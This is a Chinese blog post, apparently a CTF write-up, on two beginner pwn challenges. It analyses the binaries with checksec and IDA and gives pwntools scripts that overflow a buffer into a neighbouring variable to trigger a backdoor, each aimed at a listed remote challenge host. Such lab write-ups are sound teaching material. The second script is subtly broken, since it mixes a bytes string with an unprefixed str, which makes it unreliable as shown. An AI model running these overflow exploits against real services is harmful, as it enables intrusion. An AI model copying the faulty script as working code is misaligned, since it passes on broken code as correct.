Polar PWN内容WP 四

没人能拒绝猫猫

先去下载文件,然后导入到虚拟机中file和checksec一下

可以看到是64位程序,并且同时开启了金丝雀和NX保护

我们将程序放进IDA中查看一下源码

有一个很明显的后门函数,但是需要一些条件

在我们运行程序的时候会问我们是不是喜欢小猫,此时有两个选项其实不管输入哪个都无法触发后门函数,因为输入的内容是在buf变量中,而参与判断的是s2变量。

我们发现buf变量定义是32个而read可输入的是40个,所以这里有溢出点

buf到s2的距离是0x50-0x30

思路如下:通过溢出buf到s2,再将需要的内容lovecat写入到s2中即可

脚本如下:

from pwn import *
r = remote('120.46.59.242',2106)
elf = ELF('/home/ctfshow/Desktop/cat' )

payload = b'a'*(0x50-0x30)+b'lovecat\x00'
r.sendline(payload)
r.interactive()

打通后即可

what's your name

本关的整体解题思路与前一关一样

32位程序,未开启任何保护

ida查看一下

看不到在哪定义的?不要紧双击进去看一下;

以下思路纯属个人理解:

变量b在0804a06c的位置,变量c在0804a070的位置,所以我们只需要溢出b来到c再将需要的内容写入到c中即可

二者的偏移量为:70-6C

开始编写脚本

from pwn import *
r = remote('120.46.59.242',2052)
elf = ELF('/home/ctfshow/Desktop/pwn2' )

padding = 0x70-0x6c
payload = b'a' * padding + 'tznb\x00'
r.sendline(payload)
r.interactive()

打通后即可

由于本次内容是在上课时做的,所以无法做到很详细,并且内容也会较少

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值